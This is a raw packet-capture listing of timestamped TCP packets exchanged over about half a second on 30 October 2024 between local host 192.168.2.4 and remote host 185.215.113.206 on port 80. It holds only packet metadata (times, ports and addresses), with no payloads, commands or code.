Oct 30, 2024 20:13:06.901309013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901338100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901371002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901561975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901597023 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901628017 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901660919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901851892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901885033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.901918888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.901967049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902163029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902198076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902214050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902221918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902229071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902240992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902246952 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902265072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.902270079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902292967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902292967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.902328014 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936157942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936237097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936348915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936379910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936415911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936449051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936511993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936546087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936578989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936594963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936594963 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936616898 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.936626911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.936662912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937257051 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937340021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937402010 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937468052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937623978 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937657118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937686920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937691927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937704086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937721968 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937757969 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.937758923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937783957 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.937833071 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.938215017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.938277006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.980556011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.980633974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.980645895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.980680943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.980705976 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.980740070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.980998993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.981034040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:06.981060028 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:06.981086969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.016968012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017021894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017047882 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017059088 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017071962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017098904 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017323017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017357111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017378092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017405987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017407894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017445087 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.017450094 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.017502069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018130064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018162012 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018194914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018196106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018219948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018232107 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018237114 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018274069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018733025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018765926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018791914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018800020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018830061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018848896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.018851042 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.018893003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.019449949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.019483089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.019505024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.019516945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.019525051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.019551992 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.019558907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.019599915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020252943 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.020287991 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.020320892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.020327091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020327091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020354033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.020368099 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020387888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.020395041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020426035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.020992041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.021056890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053296089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053374052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053438902 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053473949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053502083 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053519011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053803921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053838015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053865910 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053874016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.053881884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.053915977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.054352999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.054387093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.054413080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.054420948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.054431915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.054472923 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.054899931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.054934025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.054959059 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.054987907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.055217981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.055247068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.055273056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.055282116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.055290937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.055332899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.055342913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.055373907 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.097547054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.097697973 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.097745895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.097846031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.097888947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.097918987 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.097976923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.098011017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.098042011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.098057985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.098301888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.098365068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.134634018 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.134740114 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.134759903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.134839058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.134890079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.135185957 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.135234118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.135268927 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.135302067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.135364056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.135415077 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.135844946 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.135916948 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136077881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136111021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136136055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136156082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136159897 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136194944 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136207104 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136236906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136903048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136939049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136965990 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.136975050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.136985064 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137012005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.137034893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137065887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137573004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.137607098 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.137634039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137650967 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137660027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.137693882 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.137701035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.137756109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.138392925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.138428926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.138447046 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.138463020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.138478041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.138509035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.138515949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.138557911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170206070 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170284033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170312881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170317888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170334101 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170360088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170588970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170649052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170722008 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170805931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.170949936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.170984030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171010971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171017885 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171027899 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171065092 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171411037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171441078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171464920 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171480894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171664953 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171699047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171720982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171731949 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171737909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171766043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.171773911 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.171809912 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.172475100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.172508955 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.172533035 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.172543049 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.172557116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.172576904 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.172586918 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.172606945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.172621965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.172652006 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.214962006 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215023041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215055943 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.215074062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215105057 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.215130091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.215333939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215369940 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215385914 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.215416908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.215708017 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.215755939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.251595974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.251679897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.251790047 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.251822948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.251844883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.251868010 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.251945972 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.251981974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.251998901 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252016068 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.252031088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252068043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.252078056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252109051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252605915 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.252660036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252805948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.252840042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.252856970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.252881050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.253212929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.253246069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.253268003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.253289938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.253298044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.253331900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.253355026 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.253380060 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254045963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254085064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254096985 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254129887 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254134893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254165888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254178047 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254199028 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254215002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254261971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254884005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254919052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254942894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254951954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254965067 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.254987001 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.254997969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.255017042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.255033016 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.255059958 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.255522013 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.255554914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.255584955 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.255587101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.255616903 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.255636930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.287235975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.287395954 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.287426949 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.287436008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.287442923 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.287486076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.287725925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.287760019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.287776947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.287796974 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288043022 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288080931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288098097 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288126945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288433075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288466930 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288486004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288501024 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288512945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288536072 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288547993 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288572073 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.288582087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.288615942 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289177895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289206982 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289232969 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289239883 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289242983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289274931 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289279938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289308071 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289319992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289347887 CET	49730	80	192.168.2.4	185.215.113.206
Oct 30, 2024 20:13:07.289819956 CET	80	49730	185.215.113.206	192.168.2.4
Oct 30, 2024 20:13:07.289849043 CET	80	49730	185.215.113.206	192.168.2.4
